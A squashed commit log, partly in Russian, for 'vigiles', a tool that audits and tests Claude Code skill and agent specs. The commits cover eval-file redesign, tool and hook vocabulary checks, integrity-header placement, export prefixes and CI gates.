Both halves tested at the product level (`node dist/cli.js audit`): it fires on
a repo carrying the marker and stays silent on one that does not. Proven by two
mutations, each with the patched source grepped first: dropping the render line
fails the "fires" assertion; emitting a caveat unconditionally fails the
"silent" one.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the suffix that stopped counting now says so
`*.test.*` left DEFAULT_TEST_GLOBS in 15.x because a default vitest/jest run
collects exactly those names and a skill test spawns a model — so a misnamed
harness was being executed, and paid for, by somebody else's runner. The
removal was announced to nobody. Its own comment argues "the migration is a
rename, and the untested finding prints the exact path", but the path printed
is the SURFACE's, together with a suggestion to add `<surface>.eval.mjs`. An
author with `foo.test.mjs` already lying beside `foo/SKILL.md` is therefore
told to write the test they wrote, with neither the file nor the reason named.
The sibling half of the same migration — the retired `vigiles:covers` marker —
got its explanatory line at the time. This is the half that did not.
Scoped to surfaces that are otherwise UNCOVERED: that is the only position
where the count contradicts what the author can see in the directory. A stray
`*.test.*` beside a properly covered surface is somebody's ordinary unit test
and none of our business — asserted, because an advisory line that fires on the
innocent case gets muted within a day.
Nothing about coverage changes: the name still grants nothing. Measured silent
on all seven real corpora available here (this repo, six vendored dogfood
plugins) and on the `mine` knowledge base; it fires on a planted fixture in
both `lint` and `audit`, the latter through the shared caveat list added in the
previous commit rather than a second wiring.
Three mutations, each with the patched source grepped before the run and each
dying on its own assertion: dropping the note from the caveat list · widening
the scope from untested to every considered surface · dropping the suffix test.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* refactor(scan): compute the caveat list once
Cosmetic follow-up to the two commits above: `coverageCaveats(coverage)` was
called twice in the same object literal.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the retired-suffix note claimed a cost the guard already closes
The note said a `*.test.*` harness "spawns a model" under someone else's
runner. `refuseUnderForeignRunner` guards every spawn door and refuses under
vitest/jest — measured here against the detector: argv of
`node_modules/vitest/vitest.mjs` yields "vigiles refused to spawn a model:
this process is running under vitest." What actually happens is that the
foreign run FAILS on the file, which is the true and smaller claim.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(eval)!: an eval file DESCRIBES its eval; `vigiles eval` runs it
Importing a `*.eval.*` file spent real money. These files did their work in the
module body, and in ESM `import` IS execution — so the cheapest imaginable
question, "does this file even parse?", launched a paid run against a live
model when it was asked with `import()`. That happened, and was paid for.
The one guard that exists does not close the door and cannot be made to. Under
`node -e 'import(f)'` there is no `process.argv[1]` at all, so
`foreignRunner(undefined)` is `null` and `refuseUnderForeignRunner` stays
silent; and no process fact distinguishes that from a legitimate runner doing
the same import, so an argv-shaped guard would have to refuse the correct
invocation to catch the wrong one — the exact failure that got
`process.env.VITEST` rejected in `core/foreign-runner.ts`.
So the shape changed instead. An eval file default-exports a description:
export default defineEval({
measureTriggerRate: { …spec… },
assert: (report) => assertTriggerRate(report, { min: 0.8 }),
});
`defineEval` builds a plain value; there is no call in it to run. The five paid
runners are reached only by `dist/eval-entry.js`, the program `vigiles eval`
now spawns per file — not a new verb, the interpreter the existing verb uses.
`defineEval` is exported from the FREE root barrel, not `vigiles/eval`, and
that is the point: after this change no eval file imports a runner at all.
Three loud edges, because a silent no-op would be the same defect in a new
place: `node x.eval.mjs` refuses and names `vigiles eval`; a file that declares
nothing (or two measurements) is reported by the runner instead of exiting
green; and a half-migrated file — a description plus a leftover top-level
`measure(…)` — hits `refuseDuringEvalLoad` during the runner's own import and
throws a migration message instead of billing. `node --check` still works and
is what the free syntax check should be.
Subtractions: every eval file loses its `process.env.VIGILES_TRIALS ||
process.argv[2]` line, its `console.log(format…Report(report))`, its
`if (report.n === 0) throw`, its top-level `await`, and its `vigiles/eval`
import. The runner does all five, once.
BREAKING CHANGE: `*.eval.*` files must now default-export `defineEval({…})`
instead of calling a runner at the top level, and `node <file>.eval.mjs` no
longer runs an eval. To migrate: move the runner call into a key named after
that runner (`runEval` · `measure` · `measureArms` · `measureTriggerRate` ·
`measureSelectionMatrix` — declare exactly one), move anything you did with the
report into `assert(report)`, and delete the trials line, the `format…` print
and the `report.n === 0` check — `vigiles eval` does those. A capability probe
that sat at the top of the file becomes `skipIf()`; `measureSelectionMatrix`'s
directory argument becomes a `pluginDir` field; and
`measureTriggerRate(spec, { evalDriver })`'s second argument becomes a
top-level `evalDriver` key. `vigiles eval --trials=N` still overrides trials.
Run with `vigiles eval <file>`; a file left on the old shape fails with a
message naming docs/harness-testing.md, never silently. All 19 eval files in
this repository were migrated in this commit.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore: regenerate the browser-parity fixture and generated types
The eval-definition change rewrote one report hint (`paid_measureTriggerRate`
→ `export default defineEval({ measureTriggerRate: … })`), which is exactly
the divergence the parity test is built to catch. Regenerated per that test's
own instruction for an intentional engine change; the diff is that one line —
grade and every other field are unchanged.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* fix(dialect): vocabulary is a status per name, not membership in two lists
Three checks answered "does this string look like something I recognise?"
instead of "is this string valid?", and decided what to SAY about an
unrecognised name by its EDIT DISTANCE to a hand-kept list. Measured against
the vendor docs (claude-code 2.1.233, read 2026-08-17):
- `Setup`, a documented hook event, was reported as "a hook here never fires"
and told to become `Stop` — a different event with different semantics. It
was caught only because `setup` sits 2 edits from `stop`.
- The catalog held 9 of the vendor's 31 events. The other 22 were not
"accepted"; 21 were unrecognised and >2 away from anything, so nothing was
said. `SubagentStart` and `PostCompact` sat at 3 — one character from
becoming the next `Setup`.
- `Agent` was on the never-available denylist while its own deprecated alias
`Task` sat in the built-in catalog. The vendor renamed it the other way in
2.1.63 and ships `tools: Agent, Read, Bash` as a worked example, so vigiles
told delegating subagents to drop the one tool they exist to use.
- `MultiEdit`, `BashOutput`, `KillBash`, `LS` appear zero times across six
vendor doc pages. They were in the catalog; four real tools were not.
So a valid name got an accusation or silence by spelling luck. The fix is not
a longer array: `classify` returns one of four verdicts — available /
withheld / conditional / unrecognised — and no near-match is in scope where
the report-or-skip decision is made. `unrecognised` is the third option
between silence and accusation: an advisory that names vigiles's own capture
as the possibly-stale party, surfaced and never scored.
The ≤2 threshold was not merely loose, it was set at the width of the
collision: over 465 event pairs and 741 tool pairs, ZERO are 1 edit apart and
exactly one pair in each is 2 apart — one of them being `Setup`/`Stop`. So
distance 1 is scored as a typo and distance 2 stays advisory, and a test pins
that measurement so a future catalog entry landing 1 edit from an existing
name fails here rather than in someone's repo.
Subtracts `confidentToolIssues` / `confidentHookEventIssues`: severity now
travels on the issue, so scan, lint and compileAgent cannot disagree about
which findings count. `builtinAgentTools` / `neverAvailableTools` /
`sideEffectingTools` become projections of one authored vocabulary, and the
conformance kit rejects a dialect that contradicts itself — the invariant
whose absence let `Agent` sit in two lists while dialect-drift read it out of
the vendor's own sdk-tools.d.ts every run.
Also fixes an unrelated defect found on the way: the dialect-drift hook-event
test never applied the stale-leftover reconciliation its sibling applies, so
it only ever ran against whatever old package was lying around.
Grades on faithful reductions that reproduce the recorded before-state
exactly: SethGammon/Citadel F(57) -> C(73), thedotmack/claude-mem F(55) -> C(70).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(site): keep the browser engine's graph node-free; retire LS in the type test
collectVocabularyNotes lived in scan.ts and scan-files.ts imported it as a
VALUE, which pulled the node-only graph into the browser bundle:
dist/scan-files.js → dist/scan.js → core/mcp.js → core/refs.js
→ core/symbols.js → @ast-grep/napi (a native .node binding esbuild
has no loader for)
Measured by walking the built CJS require graph, and confirmed by mutation:
restoring the scan.js import makes the chain above reappear, removing it makes
@ast-grep/napi unreachable. The functions are pure data transforms and now sit
in scan-core.ts, the module whose stated job is to be node-free.
test/types/purity.ts still declared LS, which left the catalog on 2026-08-17.
It is now a negative case instead: a retired name has to FAIL at tsc time,
since its absence from a list proves nothing.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore: regenerate the browser-parity fixture for the vocabulary message
The one changed line is the finding this PR exists to fix: the old rationale
dumped the whole catalog at the reader — including MultiEdit, BashOutput,
KillBash and LS, which are not Claude Code tools — instead of saying what is
wrong with the name it was given.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* fix(compile): integrity header displaced a skill's frontmatter, so the harness lost its contract
`addHash` prepended `<!-- vigiles:sha256:… -->` to every compiled file. For a SKILL.md that
pushes the YAML frontmatter out of first position, and a reader anchored at `^---` then finds
NO frontmatter at all — no name, no description, no allowed-tools.
🔴 THE INVARIANT WAS ALREADY WRITTEN DOWN, IN THE MODULE THE FIX LANDS IN. `ejectMarkdown` in
integrity.ts has documented since it was written that a compiled SKILL.md "begins with YAML
frontmatter (`---`) that MUST stay in first position — prepending an HTML comment there would
push the frontmatter out of the lead block and the harness would lose the skill's
name/description/tools". It honours that. `addHash`, two modules over, did the opposite to the
same files.
MEASURED, not reasoned. Five real skills from a live corpus (145–256 lines) were translated to
minimal specs and compiled. The header was the ENTIRE delta:
body byte-identical
section order untouched
diff 5 added lines, 1–2 removed — identical on all five regardless of size
frontmatter original: found by a `^---` parser · compiled: NOT FOUND
So one misplaced line was the whole reason a compiled skill could not be adopted. Everything
else people feared about adoption (reordered sections, a generated `## Arguments`) turned out to
be opt-in and absent unless `input()` is used.
THE REAL DEFECT WAS DUPLICATION, and that is what this removes. Four sites independently encoded
"the header is the first line": compile.ts HASH_RE, integrity.ts HASH_LINE_RE, coverage.ts, and
cli.ts `targetHasHash`. Position now lives in ONE place — `findIntegrityHeader` /
`placeIntegrityHeader` in integrity.ts — and the other three ask it.
`targetHasHash` was the dangerous one: it decides whether a file is ours and safe to overwrite.
Reading only the first line, it would have called every compiled skill hand-written prose and
refused to update it.
BACKWARD COMPATIBLE BY CONSTRUCTION. Every SKILL.md compiled before today carries the header
first; such a file has no leading frontmatter (the header displaced it), so the same function
finds it at the top. Without this, upgrading would report every previously-compiled file as
hand-edited. Pinned by a test.
Tests: 6 new cases in integrity.test.ts — placement with and without frontmatter, round-trip,
tamper detection, the OLD layout, and plain markdown. Mutation-proved: reverting
`placeIntegrityHeader` to prepend fails exactly the placement case (1 failed / 14 passed) and
restoring passes 15/15.
⚠️ One defect was caught by these tests BEFORE shipping, not by review: the header is written a
blank line below the closing `---`, and the finder anchored at position 0 of the body missed it.
The file looked correct and `checkIntegrity` failed on it. The `\s*` in HASH_LINE_IN_BODY_RE is
what makes it hold, and it is commented as load-bearing.
Gates, in order: npx vitest run · npm run lint · npx prettier --check . · npm run api:check ·
npm run build — via `npm run check`, 17/17 in 77s.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(spec): a spec value that was an object shipped as "[object Object]" with no error
Second defect from the same 2026-08-17 measurement. Calling `input({ name, description })` —
the object form a reader reasonably guesses — compiled with NO error and wrote this into the
SKILL.md that would have been shipped:
argument-hint: <[object Object]>
- `$1` **[object Object]** — undefined
WHY TYPES DID NOT CATCH IT, which is the part worth knowing. `input(name: string, hint: string)`
is typed correctly. But `vigiles compile` loads a `.spec.ts` through tsx in a child process:
transpiled, types erased, never checked. vigiles's OWN specs are cross-checked by a separate
`tsc --noEmit` over a generated registry — and that safety net does not travel to the people
compiling their own specs. So for every user, the type is documentation.
Two guards, one concept each.
1. `input()` refuses a non-string name or hint and names the real signature. "expected string"
does not tell the caller what to write instead, so the message carries the call shape.
2. `addHash` refuses any compiled body containing "[object Object]". This is the LAST GATE before
a compiled file is written — all four compile paths return through it — so one check covers
the whole family (file/cmd/ref/dir/glob/symbol/guidance are all unguarded the same way, and
this catches them without eight new checks).
Hard error, not a warning: measured zero occurrences of that string across every `.md` in
this repository, so there are no false positives to trade against, and a file carrying it is
broken in a way its author cannot see by reading the spec.
Tests: 5 new cases. Mutation-proved, both with proof the patch landed — neutralising the
`[object Object]` check fails exactly its case (1 failed / 19 passed); neutralising the `input()`
check fails exactly its two (2 failed / 18 passed); restoring passes 20/20.
Gates, in order: npx vitest run · npm run lint · npx prettier --check . · npm run api:check ·
npm run build — via `npm run check`, 17/17 in 76s.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(adopt): the header move missed a caller, and a round-trip grew a stamp each pass
Three tests went red on the placement change. Two were stale assertions; the
third was a real defect in the fix itself, and only enumerating every caller
found it.
`splitFrontmatterBody` in adopt.ts consumes the leading frontmatter with a
regex that tolerates an HTML comment BEFORE the block — precisely the old
placement. Once the stamp moved below the frontmatter it landed inside what
that function calls "the body", so adopt → compile → re-adopt carried the
stamp into the spec's body, and every further pass added another one. Fixed by
delegating to findIntegrityHeader, which is the one site that knows where the
header can be — the reason it exists, and this was the caller the move missed.
Both of its callers are covered by the change.
The two stale assertions are rewritten rather than relocated. They anchored
`/^<!-- vigiles:sha256/`, which is the OLD contract; simply moving the anchor
would have restored a test that could not see the defect either way, because
`name: reviewer` appears in the file under both placements. They now assert
through readFrontmatter — a reader must FIND the block and read name and
description out of it — which is the property the whole change is about.
railway.test.ts is untouched on purpose: its fixture has no frontmatter, so
the stamp is legitimately first there, and it now covers the other half of the
contract.
Also corrects a comment in frontmatter-read.ts that described the pre-move
layout as current. Its optional-leading-comment branch is backward
compatibility for files compiled before today, not what the compiler emits.
Gates, in order: npx vitest run (2964 passed, 0 failures; scripts/release-preset
fails to import @semantic-release/commit-analyzer, which is not a dependency —
same local-only gap noted in #153) · npm run lint (0 errors, 206 pre-existing
warnings) · npx prettier --check . (clean) · npm run api:check (11 entries, no
drift) · npm run build (ok).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(spec): a skill could not declare the ONE key that actually removes a tool
`SkillSpec` had `tools` and no fence. `AgentSpec` had both. So adopting a skill
into a spec meant LOSING the ability to declare `disallowed-tools:` — and that is
the only key measured to take a tool away: `allowed-tools:` is a pre-approval, it
waives the prompt for what it lists and removes nothing from the pool. The result
was that `audit` reported every compiled skill as holding all three lethal-trifecta
legs, and the spec offered no way to answer it. The tool asked for a fence its own
authoring surface could not express.
🔴 The key is HYPHENATED for skills. A subagent's is `disallowedTools:` (camelCase)
and a different parser reads it, so emitting the agent spelling on a skill produces
a key nothing looks at — inert, in the direction that reads as protection. That is
the same class as the #107 defect two lines up, where `tools:` on a skill silently
lost the contract, so the test asserts the exact bytes rather than a loose match.
Writer and reader verified end to end, not assumed: `parseAgentToolList` was run
against the actual compiled output and returns ["Bash","WebFetch"] for the emitted
flow style, and null when the key is absent (the "no contract" signal the rail
honors). A fence that compiles but does not parse would have been worse than none.
Entries are typo-checked like a subagent's: "Wrte" removes nothing while the file
reads as though Write were blocked, so it is an error, not a fence.
Both new tests proved by mutation, each dying on its own assertion:
emit `disallowedTools:` instead of `disallowed-tools:` → the key test fails
disable the validation block → the typo test fails
Gates in order: npx vitest run (2966 passed; scripts/release-preset fails to import
@semantic-release/commit-analyzer, not a dependency — the known local-only gap) ·
npm run lint (0 errors, 209 pre-existing warnings) · npx prettier --check . (clean) ·
npm run api:check (11 entries, no drift after api:report — the surface diff is
exactly the one new field in two reports) · npm run build (ok).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* ci: один список команд вместо двух — CI зовёт `npm run check`
Сегодня три PR уехали в `main` красными: список гейтов гонялся по памяти
(пять команд), а джоб `check` гонял тринадцать. Упавшая —
`tsc -p test/types/tsconfig.json` — живёт в ОТДЕЛЬНОМ tsconfig, которого
корневой тайпчек не видит, и три `@ts-expect-error`-ассерта тихо
перестали срабатывать.
Длинный список, который надо помнить, это не чинит. Чинит то, что список
СТАЛ ОДИН и CI его ВЫЗЫВАЕТ: `scripts/check.mjs` + `run: npm run check`
вместо тринадцати шагов. Это стандартный паттерн поля (pre-commit / just /
mise): определение задач — источник правды, CI его дёргает. Прежняя моя
идея «завести гейт на совпадение двух списков» снята: она была подпоркой
под дубль, который правильнее убрать.
Стадии несущие, а не косметика. Часть команд ПИШЕТ файлы, которые другие
ЧИТАЮТ (`generate types` → `.vigiles/generated.d.ts`, `api-extractor` →
`api-surface/*`, `build` → `dist/`), поэтому писатели сериализованы, а
параллельно идёт только read-only группа. 17/17 за 70 с против ~3 мин
последовательно.
Имена падающих шагов не потеряны — раннер печатает, что именно упало, и
`--list` показывает команды без запуска.
🔴 Два шага `uses: ./` НЕ входят в `npm run check` намеренно: они догфудят
собственный composite Action, у которого нет shell-эквивалента. Один из
них (`eval-check`) при первой правке был снесён случайно — он стоял между
двумя command-шагами, и правка по диапазону его проглотила. Возвращён,
причина записана прямо над ним.
Раннер сразу поймал два собственных промаха: неотформатированный
`check.mjs` и протухший `generated.d.ts` после добавления скрипта `check`.
Проверено: `npm run check` 17/17 ✓ · ci.yml парсится.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat!: словарь скилла уехал на сам билдер — experimental_skill.input/.step
BREAKING: `input` и `step` больше не самостоятельные экспорты. Достаются
как `experimental_skill.input(…)` / `.step(…)`. Пользователей нет.
Зачем. Префикс `experimental_` — привычка, а привычка уже один раз
протекла: `skill()` отгрузился со стабильным именем при доке «`skill()`
is experimental». На самих `input`/`step` тега и префикса не было вообще,
то есть словарь экспериментальной фичи выглядел стабильным. Повесив их на
билдер, маркировку делаем СТРУКТУРНОЙ: до `input()` не добраться, не
назвав `experimental_skill`.
Забрано ровно два символа, и это замер, а не вкус. Перепроверено
независимо от вердикта субагента: `input` и `step` встречаются только в
скилл-спеках, а `cmd` (5 агентских спек), `file`, `ref`, `result`
(8 агентских) общие — их спрятать в неймспейс скилла нельзя.
🔴 По дороге закрыта асимметрия, которую правка иначе бы УХУДШИЛА: дверь
`vigiles/claude-code` своих `input`/`step` не экспортировала никогда, и
типизированный автор брал их из второй двери. После снятия standalone-
экспортов он остался бы без них совсем. Теперь CC-билдер несёт те же
хелперы.
Форма — `Object.assign`, не `export namespace`: последний запрещён нашим
же линтом (`no-namespace: error`). Генерик пережил: в api-репорте
`typeof skillSpec & { input; step }`, `ae-forgotten-export` нет.
Честная граница записана и в коде, и в доке: `const { input } =
experimental_skill` снимает маркер внутри файла. Гарантия у́же —
немаркированное имя не пересекает границу пакета.
Доки: `docs/skills.md` — пример на алиасе (`experimental_skill as skill`),
маркер держится на строке импорта. `docs/experimental.md` — вступление
утверждало, что префикс носит всё из `vigiles/experimental`, что после
переезда `experimental_skill` в `vigiles/spec` стало неверным; плюс своя
секция. `docs/README.md` — доиндексированы `testing-matrix.md` и
`non-js-harnesses.md`. `safety.md` намеренно НЕ индексирован: он сам
пишет «INTERNAL / WIP — not surfaced in the public docs yet».
Гейты: npm run check 17/17 ✓ · vitest 2954 ✓.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* refactor(exports)!: split the testing surface on COST, and name the cost
The exports map split the testing API by TEST TIER — `vigiles/testing`,
`vigiles/unit`, `vigiles/integration`, `vigiles/e2e`. That taxonomy already had
a home: the vitest projects, keyed on test-file NAMES. The exports map was a
second, competing implementation of it, and zero of 19 comparable packages
publish `./unit` / `./integration` / `./e2e` subpaths.
It splits on COST now, on two axes at once — the PATH and the NAME.
"." -> ./dist/test.js (was ./dist/core/spec.js)
"./spec" -> ./dist/core/spec.js unchanged
"./eval" -> ./dist/eval-surface.js NEW
./linting ./hook ./claude-code ./codex ./adapter ./experimental
./vitest ./jest unchanged
DELETED: ./testing, ./unit, ./integration, ./e2e. 14 subpaths -> 11.
No `./test` subpath: the bare package name IS the testing surface. Two names for
one door is the duplication being removed (`.` + `./spec` used to be exactly
that). The cost: CLI-verb symmetry is now one-sided — `vigiles/eval` rhymes with
`vigiles eval`, the free half answers to the plain package name. Accepted;
`@playwright/test` publishes no subpath naming a test type at all.
THE NAME AXIS. Every runtime export on `./eval` is prefixed `paid_`:
paid_runEval, paid_measure, paid_measureArms, paid_measureTriggerRate,
paid_judge, paid_judged, paid_claudeEvalDriver. The path warns ONCE at the top
of a file; the name warns EVERY time, at the call site. Reading
`await judged(trace, "did it refuse?")` on line 140, the import is long out of
view. Not a new idiom here — `vigiles/experimental` already pairs a quarantined
path with an `experimental_` prefix; this applies the device to a second axis.
TYPES ARE NOT PREFIXED, deliberately: the prefix warns about CALLING something,
and a type is never called. `paid_EvalReport` would be noise — and since the 29
report types are re-exported from BOTH barrels, prefixing them would put `paid_`
names on the FREE surface.
⚠️ THE PREFIX OVERSTATES SLIGHTLY, AND THIS IS RECORDED, NOT HIDDEN.
`paid_judged(rubric, { judge: myFn })` calls your function and spends nothing;
the `measure*` family takes an injectable `evalDriver`. Only the DEFAULT path
bills (`paid_judge` is the one where `paid_` is exact — no injection seam).
`metered_` would be precise but reads a beat slower, and a warning not absorbed
at a glance is not a warning. Clarity won; the imprecision is written into the
module docstring, each symbol's JSDoc, and docs/testing-api.md.
ALSO FIXED: a PRE-EXISTING violation of the older convention. `makeDockerRuntime`
sat unprefixed among six `experimental_` siblings on `./experimental`. One
missing prefix is worse than none: the six that comply teach the reader that an
unprefixed name is safe. Renamed at source to `experimental_makeDockerRuntime`.
BOTH CONVENTIONS NOW HAVE A GATE, because that violation is exactly what prose
buys you. `scripts/check-export-prefixes.mjs` reads the built `.d.ts` with the
TypeScript compiler (so it can tell a value from a type instead of grepping) and
FAILS with exit 1 — it is a gate, not a nudge. Wired as `npm run exports:check`
and a CI step beside `docs:check`.
ITS TEST HAS BOTH HALVES, and mutation says so. `scripts/check-export-prefixes.test.ts`
(12 cases, colocated) fires on planted violations AND is silent on the legitimate
surface next door. Four mutations, each failing on its OWN assertion:
drop alias resolution -> 2 fail (the vacuous-pass: `./eval` is built
entirely from `export { x as paid_x }`, and an
alias reports Alias, not Value — a check that
skipped resolution would read every export as a
type and pass on a fully unprefixed barrel)
exit(1) -> exit(0) -> 1 fail (gate degrades to nudge)
delete the ./experimental
entry from SURFACES -> 1 fail (see below)
never push a violation -> 4 fail
🔴 THE THIRD MUTATION PASSED GREEN AT FIRST — a hole in the TEST, not the check.
An entire axis could stop being policed with nothing turning red: the axis test
passes its own surface list, the "real barrels" test is satisfied by a SHORTER
list, and the CLI test still exits 1 on its `./eval` defect. Fixed by asserting
SURFACES covers exactly the quarantined subpaths. The CLI test was vacuous the
same way (its fixture lacked `./experimental`, so it exited 1 either way) and now
runs a clean twin that must exit 0.
NOTHING WAS LOST, AND IT IS MEASURED. Union of the four old barrels: 190 symbols.
New: 183 on the root + 36 on ./eval, overlapping in 29 report types re-exported
from both on purpose. 183 + 36 - 29 = 190; set difference empty in BOTH
directions (comparing `paid_x` to `x` by identity). `vigiles/testing` was NOT a
superset of `vigiles/unit`: 11 symbols (all of guardrail-check.ts, plus
decideHook / parseHookOutput) existed only on `unit` and are on the root now.
TWO HONEST COSTS, in the docstrings rather than hidden:
1. The type coupling crosses the boundary and cannot be removed. ~27 helpers
(assertImproves, compareArms, diffReports, cost/latency/tokens,
formatEvalReport, …) read an eval RESULT and spend nothing, so they are free
and unprefixed — but their argument types are defined on the paid side. Hence
the 29 duplicated types, so nobody imports `./eval` for a type alone.
2. Free is not fast. The old "real CLI, no API key" tier collapses into the root,
so the import no longer signals that `runHarnessTest` spawns a real claude
under bubblewrap for ~40s. Duration lives in the runner config now.
`.` moving off `core/spec` means every doc example importing a spec builder from
bare "vigiles" now says "vigiles/spec" (11 blocks). `docs:check` is what caught
those.
Entry points are enumerated in four places independently of package.json; all
updated: scripts/api-extractor.mjs (1:1 with exports now — `vigiles.api.md` is
the test surface, `vigiles-spec.api.md` is new), typedoc.json, eslint.config.mjs
(AGNOSTIC_SURFACE + the no-barrel-imports list; both rules verified by mutation
to still fire on the new filenames), vitest.config.mjs comment.
Gates, by name and in order: npx vitest run (2939 passed, 25 skipped, 174 files)
· npm run lint (0 errors, 206 warnings — unchanged baseline) · npx prettier
--check . · npm run api:check (11 entries, no drift) · npm run build · plus
npm run docs:check (91 blocks, 0 findings) and npm run exports:check. Also
`node dist/cli.js lint` exits 0 with every compiled-markdown hash valid.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* ci: закрыть класс «сгенерированный файл протух, а CI зелёный»
Шаг «Check generated types compile» перегенерирует файл и компилирует результат.
Свежесгенерированный компилируется всегда — поэтому закоммиченная копия в проверке
НЕ УЧАСТВУЕТ. Замер 16.08: отслеживаемый `.vigiles/generated.d.ts` отставал на
314 строк / ~147 записей, и CI всё это время была зелёной.
Название шага честное — он проверяет, что типы КОМПИЛИРУЮТСЯ, а не что они
актуальны. Именно поэтому дыра пережила ревью: шаг делает ровно то, что обещает.
Предсказание записано за восемь дней до: в .gitignore репозитория zernie/mine
08.08 этим обосновано, почему тот репозиторий свою копию не отслеживает — «drift
in a generated file is invisible unless something regenerates it with --check.
Upstream vigiles tracks its own copy and it IS stale on main for exactly that
reason». Через восемь дней стало хуже. Запись предсказания не помогла; помогает
строка в CI.
Проверено обеими половинами: на актуальном файле проходит, на подложенном
дрейфе (одна строка в конец) падает.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* docs: генераторный режим убран из публичной доки и припаркован
`skill()` помечен экспериментальным. Из `docs/skills.md` убраны §3
(генератор) и секция тестов `vigiles/skill-test`, которая на нём стоит:
`genSkill`/`act`/`checkpoint`/`finish`/`runSkill` не достижимы ни из одного
сабпаса пакета — то есть снаружи репозитория такой скилл не написать. Ровно
эти два фантомных сабпаса и заставляли держать в шапке рукописный баннер;
баннер снят вместе с ними.
Замерено при этом, и записано в §Status как причины экспериментального
статуса:
- `vigiles compile` генераторы ПОДДЕРЖИВАЕТ (`cli.ts` ловит `genSkill(`,
прогнано end-to-end) — прежняя строчка §Status «wiring it into
`vigiles compile` … is the next integration step» устарела;
- скомпилированный `SKILL.md` ни разу не был показан загружающимся как
скилл: `vigiles:sha256:`-шапка отодвигает YAML-фронтматтер с первой
строки, и читатель, привязанный к `^---`, не находит фронтматтера вовсе.
Все работающие `SKILL.md`, включая 13 своих, начинаются с `---`;
шапку несут только два файла в `examples/`, которые никто не грузит;
- принятие всё-или-ничего: `renderSkillSections` собирает документ целиком
в фиксированном порядке, пути «моя проза + один проверяемый гейт» нет.
Паркинг помечен в шапках трёх модулей, чтобы его не подняли молча.
Публично экспортировать нечего: замер показал ноль достижимых символов.
`scriptModel` НЕ паркуется — он публичен из `vigiles/claude-code`
независимо от генератора.
Заодно — дефект гейта из #146, найденный этой же правкой: он переиспользовал
маркер `vigiles:ignore-file`, который принадлежит резолверу ссылок. Из-за
этого единственный документ с двумя доказуемо битыми импортами был
единственным, которого гейт не видел (91 блок сканировался, этот — нет).
У гейта теперь свой маркер `vigiles:ignore-imports`; на дореформенном тексте
он выдаёт ровно те два TS2307, ради которых писался баннер, на текущем
корпусе молчит (92 блока, 0 находок). Тест на разделение маркеров прогнан
мутацией: возврат общего маркера роняет оба ассерта.
Гейты: vitest 2928 ✓ · lint 0 errors · prettier ✓ · api:check no drift ·
build ✓ · check-doc-imports 0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat!: skill() → experimental_skill(), и правило, которое это держит
BREAKING: `skill()` переименован в `experimental_skill()` на `vigiles/spec`,
`vigiles`, `vigiles/linting` и `vigiles/claude-code`. Пользователей нет,
мажор бампаем.
Почему: дока открывалась словами «`skill()` is experimental», а имя на
экспорте говорило «стабильный». Проза против механики — ровно тот дефект,
который vigiles и ищет, у vigiles. Соглашение о префиксе существовало
(`experimental_emitTool`, `experimental_parseEmitted`,
`experimental_withServices`), нигде не было записано и ничем не
проверялось.
Побочно рейм снимает КОЛЛИЗИЮ, которой не должно было быть: `skill()`
экспортировался из ВОСЬМИ сабпасов и был ДВУМЯ разными функциями —
билдером спеки (`vigiles/spec`) и `Check<Trace>` по трассе
(`vigiles/testing`, принимает id-строку, отвечает «сработал ли скилл»).
Одно слово, два понятия, различимые только дверью импорта. Префикс несёт
только билдер; `Check` не тронут (`vigiles-testing.api.md` без изменений).
Правило: `scripts/check-experimental-naming.mjs` + шаг CI + `npm run
experimental:check`. Публичное объявление с TSDoc-тегом `@experimental`
обязано начинаться с `experimental_`. Ни одного нового маркера: тег уже
используется в `experimental-emit.ts` и `services.ts`, публичность берётся
